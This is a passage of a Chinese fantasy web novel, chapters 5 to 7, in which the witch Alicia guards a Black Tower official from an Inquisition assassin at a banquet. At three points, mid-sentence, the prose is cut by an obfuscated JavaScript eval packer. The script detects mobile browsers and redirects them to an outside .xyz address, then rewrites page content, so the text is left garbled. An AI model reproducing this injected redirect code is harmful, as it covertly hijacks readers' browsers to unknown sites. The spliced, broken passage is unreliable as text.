罗德可能有点多动症,她很坐不住,更不要说学习这个时代的大多数女性的淑女礼仪了。妈妈贝斯·切斯特为了教导罗德,费了不少功夫,但效果嘛,那可难说了。 艾莉西亚在有着凸肚窗的书房找到了小姑娘,她正在看一本儿童画册,贝斯在旁边盯着她,手里也拿着书看。艾莉西亚心想她应该是听进去自己的建议了,要给小朋友营造学习的氛围,而不是一味地强迫她去做。 不过,老实说,艾莉西亚也不是很有信心。 罗德看看看书又看看贝斯,这里摸摸,那里蹭蹭,一会儿说坐久了好累,一会儿说要喝水要上厕所……看到门口的艾莉西亚,立刻从椅子上蹦起来要去玩耍,被贝斯狠狠瞪了一眼,才缩着脑袋坐回去。 艾莉西亚凑到贝斯身边,她注意到贝斯看的书是一本讲述历史的书籍,书皮上印着《塔布拉斯王国编年史》。她看了一眼就没兴趣了。 贝斯的注意力从书上抽离出来,摸摸艾莉西亚的脸,“今天回来得很早。” 艾莉西亚,“特蕾娅有点事找我,我下午就进城了。” 贝斯让艾莉西亚去换身居家服,待会儿就能用晚餐了。 艾莉西亚问,“爸爸呢?” 罗德插嘴说,“爸爸要去和朋友谈事,他差人让我们不要等他。” 艾莉西亚感觉奇怪,“最近爸爸好像经常晚归,酿酒厂出了什么问题吗?” 贝斯说,“别担心,亲爱的,皮尔会解决好一切的。” 艾莉西亚还没说什么,罗德说,“我有个同学家里开精品店破产了,那个同学都不来上学了,妈妈,爸爸破产后我是不是都不用上学?” 贝斯温温柔柔一个传统女性,被罗德气得血压狂飙,她表情扭曲地微笑着,“罗德亲爱的,你放心,即使皮尔失去了所有钱,你还是会每天去学校念书,妈妈向你保证。” 罗德很失望。 艾莉西亚幸灾乐祸,“哈哈哈哈哈……” 罗德对艾莉西亚怒目而视。 切斯特家有一间经营状况不同的酿酒厂,是从爷爷切斯特手里继承下来的,父亲皮尔·切斯特等晚餐后才疲惫回家。 艾莉西亚陪着罗德在游戏室玩,罗德最近迷上了勇者游戏,她要做正义的骑士,让艾莉西亚扮演反派。 贝斯还在书房,继续看她的《编年史》,罗德听到了门厅的动静,拽着艾莉西亚去门口。 皮尔·切斯特面色凝重地放好帽子和手杖,看到两个女儿,脸色总算缓和些许,但眉间仍有郁气。 分别拥抱两个女儿后,皮尔从口袋里掏出一把糖,罗德立刻欢呼起来,然而还没等她把糖拿到手,贝斯及时出现,让她的希望落了空。 贝斯生气地瞪一眼丈夫,严厉地说,“罗德,你还想去医生那里看你的蛀牙吗?” 皮尔对小女儿露出爱莫能助的表情,罗德张嘴就要嚎,艾莉西亚眼疾手快,捏住她的嘴巴,这家伙干打雷不下雨,声音叫得比谁都响,眼泪一滴也没有。 贝斯看时间不早了,让女仆带着罗德去洗漱。艾莉西亚想问问什么情况,被贝斯用眼神制止了。 艾莉西亚也没坚持,回自己房间琢磨内燃机的图纸。 正在聚精会神的时候,房门被敲响。 艾莉西亚打开门,门口站着个披着桌布、戴着粗糙面具的小矮子,小矮子手持一把儿童木剑,指着艾莉西亚喝道,“魔鬼的代言人,忏悔你的罪行吧!正义的、英勇无畏的罗德骑士将代表主行使他的权利,把你驱逐到黑暗的深渊之中。” 艾莉西亚,“……” 艾莉西亚面无表情地关上房门。 房门外响起“刺啦刺啦”的挠门声。 艾莉西亚抽出一张白纸,在纸上画一个繁复的图案,再打开门,“啪”一下贴在罗德脑门上。 她用遗憾的语气说,“尊敬的罗德骑士,正义的你被魔鬼的仆人诅咒了,迎接你的末路吧。” 罗德捂住心脏,身体僵直地往后倒去,落到厚厚的地摊上,发出一声重重的闷响。 贝斯在楼下听到了声音,高声喊,“罗德!罗德!你又干了什么?” 罗德一骨碌从地上爬起来,扯掉脸上的白纸,双手握住剑柄放置在胸口,剑尖朝下,她说,“正义的骑士永不放弃!等着吧,我还会再回来!” 艾莉西亚:“……” 时间来到十一点,艾莉西亚收拾好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774065|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图纸,洗漱完毕,关灯睡觉。 …… 夜色深沉,一切陷入安静。 艾莉西亚窗户外的街道上,昏黄微弱的煤气路灯闪闪烁烁。 一道黑影突然出现在窗外,下一瞬,黑影来到床边,伸出手,朝酣睡中的艾莉西亚摸去。 路灯昏黄的灯光将来人的身影投在墙上,扭曲可怖,像来自地底的恶魔。 黑影握持一把利刃,朝着艾莉西亚扎去。 这时,空气中突然响起破空之声,黑影感觉到危险,忙不迭避开,躲过了从床尾射过来的钢矢。 钢矢落空,钉入地板超过五公分,如同切开黄油一样顺畅。 借着窗外昏暗的煤气灯,夜袭之人看到了这一切,他感到一股寒气直达头盖骨,立刻举起双手,缓缓站起身说,“请不要误会,切斯特小姐,我并无恶意。” 床铺上已经没有艾莉西亚的身影了,她的声音在背后响起,“哦,司佩先生啊,您深夜来访,是有什么不得了的事情吗?” 大约是刚醒,艾莉西亚的声音带着点慵懒的低沉,有种不经意的诱惑,但阿尔瓦雷斯·司佩却觉得,这声音和“嘶嘶”吐着蛇信的毒蛇没什么区别。 阿尔瓦雷斯·司佩听出了她话里的讽刺,他在心里诅咒着那个本该合作、却临阵脱逃的家伙下地狱,带着几分自己都没察觉的谄媚说: “尊敬的切斯特小姐,您知道,我是个发布任务的中间商,这么晚来打扰您,当然是因为我这里有一份报酬极为丰厚的交易。” 艾莉西亚在黑暗中挑眉。 报酬极为丰厚的交易?这话从司佩这个奸商嘴巴里说出来,不用想,就知道这里面必定很多坑。 阿尔瓦雷斯·司佩,艾莉西亚见过几次,他在地下魔法材料交易市场有个杂货铺,专门倒买倒卖魔法材料、魔法物品、炼金术产品。 去过他店里的人都认为他一定是某个魔鬼在人间的代言人,太黑了,同样的物品,差价能翻好几倍。 阿尔瓦雷斯手黑心狠,按道理早该被人套麻袋了,但他至今还活的好好的,这不是没有原因。 像艾莉西亚,她虽然是女巫,却是没有任何势力依靠的流浪-女巫,她想要什么材料都需要靠自己,过得要多心酸就有多心酸。 阿尔瓦雷斯却不是,他背后有一个集齐了女巫、术士、骑士的大型组织——黑塔。 据传这个组织一开始是被光明教廷驱逐的超凡者,他们或主动或被动来到极北荒原,慢慢地,这些人聚集起来,到如今已经是连教廷都颇为忌惮的势力。 传闻中,阿尔瓦雷斯的靠山就是黑塔的高层。 所以,当阿尔瓦雷斯提出交易的时候,艾莉西亚并不觉得这个交易是假的,又或者报酬不丰厚,但报酬丰厚并不代表交易完成后能平安拿到,并且,经过了阿尔瓦雷斯的手,肯定是被刮过一层油水。 艾莉西亚想都没想就拒绝,“抱歉,夜深了,我要睡美容觉,不接受交易。” 阿尔瓦雷斯语气急切,“报酬是二十颗魔法结晶,并6000费尔,定金会预先支付一半。” 艾莉西亚赶人的动作顿了顿,阿尔瓦雷斯尽管背对她,感官却很灵敏。 他察觉到她的迟疑,立刻说;“一个来自异端审判庭的杀手盯上了一位黑塔的女士,埃诺里女士。我们亟需一位可靠的帮手保护她。切斯特小姐,我知道,整个卡斯塔尼亚城没有比您更可靠的女巫了,无论是防御的魔法符文,还是炼金术产品,只有您出手,我们才能保证那位可敬的女士的安全。” 5. 女巫的职业危机05 艾莉西亚轻声说,“你的赞美我收到了,感谢你的信任,但请你立刻离开,或许你能躲开布置在屋子外的保护魔纹,但相信我,司佩先生,如果有需要,我可以让你悄无声息地消失在这个世界而不被任何人察觉” 阿尔瓦雷斯身上的汗毛一点点竖了起来。 他知道艾莉西亚并不是说出来吓人。 艾莉西亚有这个实力。 艾莉西亚的出身很普通,酿酒厂老板的女儿,祖上没有出现过女巫。如果没有意外,艾莉西亚只会是一个普普通通的孩子,但她在走丢过好几年。 那几年切斯特夫妇疯了一样到处找人,翻遍了整个卡斯塔尼亚,都没找到。过了一两年,艾莉西亚自己回来了。 她成了一位年轻的、学识丰富的女巫。 她消失的这段时间去了哪里?没有人知道。 有人认为她遇到了厉害的老师,对方也是一个女巫,她教导艾莉西亚学习了丰富的魔法知识,后来女巫死去,艾莉西亚才回家。 否则怎么解释一个小女孩失踪了又好端端地回来,还有着非常丰富的学识呢? 阿尔瓦雷斯却知道那不是真相。 他的靠山在黑塔,他知道黑塔内部有一些古怪的女巫和术士,他们实力强大,却没有底线,喜欢到处搜寻天赋高的小孩,把他们当成魔法耗材使用…… 如果艾莉西亚是从那样的地方逃回来,而至今没有被人追捕,那只有两个可能。要么,艾莉西亚彻底杀死了掳走她的人;要么,艾莉西亚的实力已经让对方忌惮到不敢动手。 无论是那种可能性,阿尔瓦雷斯都不敢承担惹怒艾莉西亚的后果。 他紧张地咽了咽口水,他知道自己必须要拿出绝对的诚意,否则,就凭他今天突然闯入,可能已经被记录在艾莉西亚的黑名单上了。 “切斯特小姐,除了魔法结晶和金币,我还可以为您弄到成年魔法蜥蜴的骨头,我知道,您一直在收集制作伪装成普通人的炼金术产品。” 艾莉西亚眯起眼,她在寻找制作这类炼金术产品的材料,但她一直做得很隐蔽,阿尔瓦雷斯怎么会知道? 他知道什么? 艾莉西亚不露声色地想着,语气泄露出被打动的倾向,“我要多少,你就能提供多少吗?” 阿尔瓦雷斯露出苦笑,“我也希望能如此,但您知道,成年魔法变色龙有多难得,我最多能为您提供几根完整的肋骨、和三分之一的皮。” “六根肋骨,以及成年变色龙的二分之一的皮,”艾莉西亚说,“不接受讨价还价。” 阿尔瓦雷斯在心里松了一口。 而下一秒,他感到了割肉般的痛苦,好多骨头,好多魔法结晶,好多金币啊! …… 时间已过午夜,大半座城市都陷入沉眠,但那些纸醉金迷、夜夜笙歌的上层们却正是活跃的时候。 艾莉西亚和阿尔瓦雷斯在屋顶之间跳跃,他们没有乘坐马车,而是选择了距离最短的路程,从切斯特家,来到郊外的一座富丽堂皇的庄园。 这是一位富有的爵士的府邸,今夜,这位爵士宴请了不少尊贵的宾客。 其中有阿斯蒙德伯爵领的女继承人,芙蕾·努涅斯托·阿斯蒙德女士。不过这位女士地位尊崇,行程繁忙,只在宴会上露了个面,和庄园主人说了几句话就离开了。 表现不可为不傲慢。 即使如此,也没有人敢在背后蛐蛐她。与此相反,正因为阿斯蒙德女士出席过宴会,宴会主人感到格外有荣幸。 而艾丽西亚的任务目标,那位来自黑塔的埃诺里女士,她在场中相当耀眼夺目。 这位有着一头火焰般红发的漂亮女人穿着华丽繁复的宫廷裙装,秀发盘起来,装点上珍贵宝石做的首饰,她脖子上坠着一颗黑曜石,在流光溢彩的珠宝下衬托得十分华贵。 艾莉西亚虽然穷,但她眼光一流,一眼就看出埃诺里脖子上那颗黑曜石是一种高防御魔法物品,还有她手腕上戴着的蛇形手钏,看起来也不简单。 不愧是黑塔的高层,光是这两个魔法物品,就抵得上上百块魔法结晶了。 艾莉西亚和阿尔瓦雷斯两个人像壁虎一样趴在庄园的外墙上,身上的魔法斗篷很好地掩藏了他们的身形和气息。 屋内珠光宝气、觥筹交错,而屋外两个可怜虫挂在墙上,隔着窗户窥视着着里面的华服美酒,比起那个不知道躲在哪里的异端审判所杀手,她们两个更像变态呢。 艾莉西亚在心里默默吐槽着,希望那个杀手早点出现,她好收工回家。 埃诺里完全是众人追捧的焦点,那些高傲的贵族和有钱人只要看准机会,就要凑到她面前献殷勤。 除了这位女士本身所代表的权势,她出色的外表也是吸睛利器。那些年轻的男人们看向埃诺里的眼神仿佛着了火。 这些献殷勤的家伙当中,艾莉西亚还看到了一个熟人——小查普伊斯·安托瓦。 小安托瓦是典型的王国南部美男子长相。 他有一双碧绿的眸子,鼻梁高挺而嘴唇丰润,一头浓密卷曲的黑发被轻薄的发蜡输得整整齐齐,像个从油画里走出来的优雅贵族。 但此人很厌恶别人对他的容貌过度关注,自艾莉西亚认识他,他就一直板着一张脸,仿佛面部肌肉丧失了调控功能。 而在这场宴会上,艾莉西亚见到了一个完全不一样的小安托瓦。 他在宴会上与人交谈时言笑晏晏,和煦的笑容仿佛焊在脸上,一点也看不出他的面部肌肉曾丧失过活性。 特别是这家伙去向埃诺里献殷勤的时候,小安托瓦的笑容里又多了几分多情,看向埃诺里的目光尽管克制却难掩渴望,像极了看到心动之人时的容光焕发,表现得十分秀色可餐的模样。 这是色-诱吧?这绝对是! 谁能想到啊,冰山脸小安托万竟然还有出卖皮相的时候。 艾莉西亚在内心疯狂吐槽,没想到小安托瓦竟然是这样的人。 只可惜,尽管小安托瓦已经尽力了,埃诺里仍兴趣缺缺,她和小安托瓦客套了几句,就把他甩掉了。 艾莉西亚看得很清楚,等埃诺里一离开,小安托瓦立刻就恢复了没有表情的样子,他端着个酒杯,一口也没喝,眼神时不时扫一眼埃诺里,眼里还有不甘,但没有再试图接近她。 看到这里,艾莉西亚明白小安托瓦为什么要取消晚餐了。 很显然,比起投资一间小工厂,当然是结交权势人物更重要。 不过,艾莉西亚好奇的是小安托瓦究竟是为了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774066|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,才会用那种姿态去和对方接触埃诺里。 小安托瓦显然不是甘于下位的人,他非常为自己的姓氏骄傲,哪怕他只是旁支,也很注意身份,自尊心非常很强。 曾经有大客户在背后蛐蛐安托瓦家族是王国蛀虫,只会在国王面前曲意逢迎,还喜欢残害真正为王国做事的人。 小安托瓦当场没翻脸,事后把大客户整得倾家荡产,对方还不知道发生了什么。 小安托瓦放下自尊也要去争取埃诺里,难道真遇到麻烦了需要找个靠山解决? 也不对啊,安托瓦家族可是塔布拉斯王国非常有权势的大家族,这个家族内部一直很团结,小安托瓦父子虽然是旁系,但他的公司一直受到照顾。 如果小安托瓦遇到了麻烦,他应该去找安托瓦公爵啊,那可是一位在国王面前都能说得上话的大贵族。 艾莉西亚一时间想不通这家伙的目的,他没办法讨得埃诺里欢心,已经找了个不起眼的角落躲起来了,艾莉西亚便不再关注他。 而这时候,埃诺里似乎遇到了感兴趣的人。 那是个极英俊的男子,他修长而富有力量感的身躯包裹在黑色礼服内,面容如美神精心雕琢,他修长的手指端着晶莹剔透的酒杯,时不时啜饮一口,同伴说话时微微测过脸倾听,唇角勾起的弧度带着几分漫不经心。 不经意看过来的视线——哪怕知道他并没有看自己——也会让人感到心脏猛烈震颤,“噗通”“噗通”“噗通”,血液飞快地在血管里滚动着,像是要烧起来。 光是看着他,艾莉西亚就感觉自己的视觉获得极大地款待。 这个男人不仅仅是长相,还有他表现出来的姿态、气质,和小安托瓦那种故作温柔实际冷漠且不近人情不同,这个男人像火一样炽热,让人感到激情澎湃。 老实说,今天的宴会上有几个卖相不错的年轻男人。 看来大家的目的都差不多啊。 从宴会主人满意的神情看,他并没有觉得宴会被喧宾夺主了,正相反,他可能还很高兴有人主动取悦埃诺里,埃诺里高兴了,他的事情才好办。 作为黑塔名声在外的高层,埃诺里喜好漂亮男人并不是什么秘密。 但没有哪一个男人,有这个新冒出来的家伙迷人。 艾莉西亚心里酸溜溜的,有权有势可真好啊。有权势的女人在宴会里享受美男们的恭维讨好,而可怜的穷鬼只配在房子外像壁虎一样当保镖。 艾莉西亚在心里为自己痛哭一秒。 就在艾莉西亚吐槽的时候,埃诺里和那个火辣的家伙已经顺利勾搭上,两人相携离开宴会厅,先去了一处能看到夜空的走廊看星星谈人生哲学,谈着谈着,他们的身体越凑越近,最后埃诺里打开了最近的一个房间,两人肢体纠缠着进去。 房门“砰”一声关上。 “诶,还跟吗?”艾莉西亚对别人的现场直播没什么兴趣,但拿了别人的酬劳,她还是需要问问雇主的意见。 阿尔瓦雷斯也很犯愁。 一方面,他觉得埃诺里女士肯定不愿意被人看到她的私生活,但他又怕真的出什么事,正纠结的时候,一声轻微的爆破声从那个房间里传了出来。 艾莉西亚和阿尔瓦雷斯朝着那个房间冲了过去。 6. 女巫的职业危机06 艾莉西亚和阿尔瓦雷斯朝着那个房间冲了过去。 两人像壁虎一样,爬到埃诺里所在房间的阳台上,但他们在试图打开阳台玻璃门的时候遇到了障碍。 “是防御性的魔法物品构建的屏障。”阿尔瓦雷斯额头上冒出细汗,他手忙脚乱地从口袋里翻出一堆魔法物品,想要打破屏障,但试了好几个,都没有效果。 艾莉西亚等得不耐烦,“司佩先生,你到底行不行?” 阿尔瓦雷斯朝艾莉西亚投来求助的目光。 艾莉西亚在心里翻了个白眼,“让开。” 阿尔瓦雷斯立刻让出位置,艾莉西亚从袖子里抽出她的法杖,那是一根漆黑如墨的、比夜色更深的黑色扳手,一头是固定的扳口,另一头是带着点粗糙颗粒感的手柄,尾端镶嵌一颗深黑色魔法结晶。 “我的天,切斯特小姐,你不能这么做,这会给埃诺里女士带来麻烦!” “闭嘴吧傻大个!现在不进去,你想给你尊贵的埃诺里女士收尸吗?” 这正是阿尔瓦雷斯所担心的,他不敢劝了。 艾莉西亚颠了颠手里的扳手,抄起来就砸。 一下、两下,屏障纹丝不动,只发出微弱的闷响。 第三下时,屏障产生了像水波一样的波纹。 等到第四下,屏障整个震颤起来,砸在屏障上的声音不再是微弱的闷响,而是仿佛金属敲击笨重大钟一样的厚重、洪亮的声音。 阿尔瓦雷斯吓了一跳,没想到艾莉西亚会闹这么大动静。 艾莉西亚心无旁骛,第五次挥动扳手,有什么碎裂的清脆声音响起。 成功了。 屏障裂开了像蜘蛛纹一样的裂痕,艾莉西亚一脚踹出去,直接穿透屏障,阳台门应声而倒。 艾莉西亚率先进去,看到两个身影在床上纠缠着,床旁边的柜子有火焰烧灼后的痕迹。看起来两个人已经较量过一轮,结果很明显,埃诺里输了。 埃诺里趴伏在床上,两只手被反剪在背后,手腕被蕾丝布料捆住,男人一只手扼住埃诺里的脖子,另一只手拿着一根镶嵌有璀璨宝石的法杖——那是埃诺里的法杖。 埃诺里被卡住脖子,呼吸困难,面色发青,额头上的血管鼓起,眼里的愤怒几乎要化作火焰烧起来。然而她对眼前的困局毫无办法。 男人像是感觉不到埃诺里的愤怒,他只用一只手就轻轻松松地控制了埃诺里,这个任务一点难度也没有。 埃诺里的法杖像玩具一样被他转着玩,他用闲适的、像是饭后散步的语气问,“埃诺里女士,决定好了吗?是要你的法杖,还是把属于审判庭的《智慧之书》还回来?” 就在这时候,阳台上传来动静——有人在攻击他设下的魔法屏障。 埃诺里感觉糟糕的局势有了变化,“德蒙卡萨,你最好放了我,否则,你走不出这座庄园。他们很快就会进来,而你,会因为刺杀一位黑塔的高层而遭到全大陆巫师和术士通缉。” 拉蒙·德蒙卡萨感觉好笑。 当他发现传闻中善于游说的埃诺里女士竟然是一个如此轻浮好色的女人,他对黑塔的感官就降到了低点。 但他没想到,前来营救埃诺里的人竟然愚蠢到用蛮力破坏魔法屏障——那可是异端审判所仓库的收藏,可以抵御一位大骑士全力一击的物品。 不过他还是用床单把埃诺里裹起来,这样方便他把人带走,如果来的人多,他会找机会离开。 但他刚把埃诺里裹起来,屏障就发出震耳欲聋的碎裂声。 阳台上钻进来一个女人,一进来就架起□□,对德蒙卡萨连射三箭。 德蒙卡萨还来不及思考为什么屏障这么轻易就碎掉,他感到了强烈的危机。 多年游走在生死边缘的经验让他立刻辗转躲避,同时抓住埃诺里让她挡在自己面前。 三根钢矢一根瞄准他的头、一根瞄准他的脖子,那是埃诺里无法遮掩的位置,但德蒙卡萨都顺利躲了过去;唯有最后一根十分刁钻,它预判了德蒙卡萨的躲避路径,朝着他射过来。 德蒙卡萨原本避无可避,幸好有埃诺里在,最后一根钢矢被她挡住,钉入她的大腿。 埃诺里发出一声痛呼。又立即闭上嘴。但这不耽误她在心里把没用的阿尔瓦雷斯骂个半死。 该死的阿尔瓦雷斯,一点用也没有,让他防范异端审判庭的杀手他连人都找不到,连累她受罪。没用的家伙! 要不是现在谈判到了关键时候,不能让阿斯蒙德家的女继承人抓住把柄,埃诺里绝不会让自己如此被动。 阿尔瓦雷斯进房间就看到这场景,立刻喊道,“切……小姐,请你小心一点。” 艾莉西亚露出歉意的表情,“我不是有意思的。”不过从她的表情看,实在没什么诚意。 埃诺里:“……”该死的阿尔瓦雷斯!她一定要他好看,找来的都是什么人! 艾莉西亚举着□□,瞄准德蒙卡萨,义正词严地说,“先生,您可不能这么对一位高贵的女士,请放了她,不然我不能保证我的箭会不会扎烂你英俊的面孔。” 德蒙卡萨下意识看了一眼扎进埃诺里大腿的钢矢,十几公分长的钢矢被打磨得圆润光滑,它大部分没入埃诺里体内,只剩一小半留在外面,反射着寒光。 她流的血并不多,但从埃诺里因为忍痛而过度苍白的面孔就知道杀伤力有多大。 德蒙卡萨在心里重新评估了艾莉西亚的能力。 有艾莉西亚在,埃诺里心态从容许多,她开始劝说起德蒙卡萨,“德蒙卡萨,你跑不掉的,异端审判庭派你一个人来是让你送死。这样的地方配不上你的忠诚!亲爱的,放了我,来黑塔吧,我们可以提供一切你想要的东西。美酒、金钱、财富、力量、美人,你想要什么都可以。” 昏黄的灯光下,德蒙卡萨的脸被分割成一明一暗两部分,他嘴角轻轻勾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774067|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,“让我送死?埃诺里女士,你觉得他们能做到吗?” 埃诺里表情难得凝滞片刻。 腿上的钢矢时刻提醒着她艾莉西亚有多不靠谱。 “你认真了,亲爱的,他们已经给你造成威胁了。”哪怕真的不靠谱,埃诺里也不可能承认。 她丝滑地转移了话题,“老实说,你抓住我也没用,《智慧之书》我已经献给阿斯蒙德女士了,她是阿斯蒙德伯爵的女儿、伯爵领唯一的继承人,你不可能从她那里夺回《智慧之书》。 “你觉得派你来执行这个任务的人不知道这一点吗?别天真了,亲爱的,你知道我们怎么得到《智慧之书》的?如果你真的把它带回去,那才会给你带来灭顶之灾。” 德蒙卡萨皱了皱眉,他思忖着埃诺里话里的真假。 德蒙卡萨的防备有了一丝松懈。 艾莉西亚等得就是这一刻。她从袖子里抽出自己的备用法杖——一根用引雷木制作的魔杖——朝埃诺里丢过去,大声说,“接住它。” 埃诺里在心里大骂艾莉西亚,她是被恶灵啃掉了脑子吗?她怎么可能接得住! 之后的发展毫无悬念,德蒙卡萨发现艾莉西亚有所动作后,立刻收紧手臂,埃诺里被勒得翻白眼。 他轻蔑地看着那根备用法杖落到地上,作为惩罚,德蒙卡萨捏碎了埃诺里的法杖,并抽出了藏在靴子里的软剑。 真是愚蠢啊。 德蒙卡萨想,他刚刚才对那个穿着斗篷的女人有一点改观,她立刻就让这一点好转的评价跌回泥里。 “如果你们想拼命地救回这位美丽女士的尸体,尽管试探吧。” 阿尔瓦雷斯连忙高举双手,“不不不,请不要伤害她,骑士先生。如果您想要《智慧之书》,我可以帮您偷回来,但请不要伤害她。” 德蒙卡萨露出一个满意的笑容,他的目光落到艾莉西亚脸上,“那位小姐?” 艾莉西亚还没说什么,阿尔瓦雷斯立刻说,“小姐,拜托。” 埃诺里嘴唇蠕动,她艰难地说,“蠢货!”不知道是在骂艾莉西亚,还是阿尔瓦雷斯。 艾莉西亚干脆地丢掉□□。 德蒙卡萨仍不满意,“小姐,您袖子里的那个奇怪的金属呢?还有那位先生,您那个装着魔法物品的包!” 在阿尔瓦雷斯半威胁半恳求的盯视下,艾莉西亚只好照办,她慢吞吞地从袖子里抽出扳手,丢到地上。 德蒙卡萨松了一点力气。 埃诺里感觉到喉咙的桎梏放松了,她尖叫着,“你是白痴吗?你想我们一起死是不是?还有你,该死的流浪-女巫!我就不该相信那个蠢货的话,怎么会找一个废物一样的东西!你们给我等着,我一定要你们付出代价。” 她刚咆哮完,变故发生了。 那根法杖突然蹿出火焰,火焰蔓延得很快,不过一两个呼吸,埃诺里和德蒙卡萨站立的地方就烧了起来。 7. 女巫的职业危机07 房间被点燃了,浓烟、大火淹没了埃诺里和德蒙卡萨的身影。 阿尔瓦雷斯已经没办法思考,他扑到地上,从自己的包裹里翻出和水相关的魔法物品,希望能阻止这一切,然而他翻遍了包,也拿不出一个灭火的物品。 阿尔瓦雷斯悲伤而愤怒,他朝艾莉西亚看去,却发现那个女人已经消失了。 逃了吗? 阿尔瓦雷斯后背发凉,艾莉西亚要弄死埃诺里和那个审判官吗?她又是谁派来的? 这时,他忽然听到了火里面传来的痛哼。 是德蒙卡萨的声音。 艾莉西亚早在火势起来的时候,一招手,扳手就从地上飞回手里,她拿着扳手往火里冲。 与那种高温灼烧的温度不同,从魔杖内迸发的火焰只比室温高一点,火势看起来声势浩大,但经过特殊处理,火焰上覆盖了一层延迟魔法,在烧起来的前几分钟内温度不会升高。 艾莉西亚看准时机,冲进去就用扳手砸人。 德蒙卡萨被突然烧起来的大火分了心,顷刻间充斥房间的浓烟熏得他睁不开眼。 他也发现了火焰的蹊跷之处,但认识到艾莉西亚也是一个女巫已经来不及了,他要小心被火苗蹿到衣服上,还要保护埃诺里。 女巫的手段诡谲隐秘,他强迫自己分出一丝心神注意周围情况。 当德蒙卡萨发现浓烟里冲出来一个人的时候,他执剑劈了过去,金属撞击发出了清脆的声音,火势被剑气冲出一道手掌宽的裂隙,但没用,它们很快又重新汇聚。 德蒙卡萨感觉自己击中了什么,是另一把剑吗? 他无法肯定,他没有听到人体倒地的声音。 火势的烈度加剧,没有时间耗下去了。 那一定是一个擅长操纵火焰的女巫,在熊熊大火中与她对抗,德蒙卡萨撑不了多久。 他顾不了蹿到身上的火苗,把埃诺里扛到肩上,按照记忆里门的位置退过去。 火焰迅速地舔舐他的衣服,他的动作很快,一秒功夫不到就摸到了门把手——门把手的温度如常,这再一次证明了德蒙卡萨的猜测,这场火是女巫的魔法,重点不是火,而是伴随着火势产生的浓烟——但当他去开门的时候,艾莉西亚不知道从哪里钻出来,照着他的颈侧狠狠来了一下。 德蒙卡萨抬剑去挡,但一直安静着的埃诺里突然扭了一下,尽管她已经被裹成个蝉蛹,但她的动作让阻碍了德蒙卡萨,艾莉西亚的扳手擦着他的剑往下滑,成功击中他的大动脉。 那一瞬间,德蒙卡萨像是被死灵法师定住了灵魂,时间似乎很漫长,又似乎只过去了一秒,唯一能确定的是,德蒙卡萨感觉自己失去了对身体的感知。 失控的时候,德蒙卡萨的思维异常活跃,他终于明白,艾莉西亚闯进来时射出那一箭的目的了。 她明知道很可能伤到埃诺里,却仍那么做,就是为了让埃诺里成为累赘。 只要德蒙卡萨不打算弄死埃诺里,艾莉西亚总会有办法拖住他,这样,艾莉西亚就会赢得这场对峙的最终胜利。 艾莉西亚带走了埃诺里,德蒙卡萨手里的剑落到地上。他无意识地眨着眼睛,浓烟之中,他模模糊糊看到两道身影渐行渐远。 那个穿着斗篷的女人把埃诺里扛了出去。 火焰迅速爬满德蒙卡萨全身,他终于感受到了一点烧灼的疼痛。 艾莉西亚把埃诺里送出去时,阿尔瓦雷斯跟个傻子一样,张着嘴,半天没反应。 “带她出去。” 阿尔瓦雷斯忙抱住埃诺里,问道,“你呢?” “里面还有一个人。”艾莉西亚把埃诺里丢给他,又蒙着嘴巴冲进火场。 阿尔瓦雷斯想要叫住艾莉西亚,让她别管那个该死的异端审判所走狗,但埃诺里阻止了他,她腿上伤痛得无法忍耐,“走!我们立刻离开这里。” 阿尔瓦雷斯没办法,抱起埃诺里,从阳台跳下去。 大火点燃了了屋子里的所有物品,柜子、烛台、床、沙发、桌椅都在火势中摇摇欲坠。 德蒙卡萨倒在火焰中,火焰在一点点吞噬他的头发,发丝燃烧后呈现出漂亮的橘红色,像绽放的烟花一样美丽。 他的样子很惨烈,满屋子的浓烟让他不停咳嗽,眼睛也睁不开,他隐约看到了火光中的女人的身影。 附着在他身上的火焰开始吞噬完他的衣服,开始吞噬他的皮肤、血肉,他看起来很痛苦,但仍然戒备地后退,尽管他的身体仍处于麻木状态,但眼神依然很亮,像丛林里垂死挣扎的野兽。 虽然这样子看起来实在不堪一击。 艾莉西亚感觉自己看到的不是一个活生生的人,而是一个正在熊熊燃烧的、迷人的灵魂。 她没和德蒙卡萨废话,双手抓住他的肩膀就往火圈外脱。 德蒙卡萨以为自己会被干掉,就像他那些在任务中失去生命的同僚一样。他不想就这么等死,但他找不到自己的剑了,那把软件是他最后的武器——为了成为一个合格的、以出卖色相为生的小白脸,德蒙卡萨的所有武器都被放弃了。 他强悍的身体和那把剑是他仅有的依仗。 但他强悍的身体在艾丽西亚的武器下溃败,他的剑也丢了。 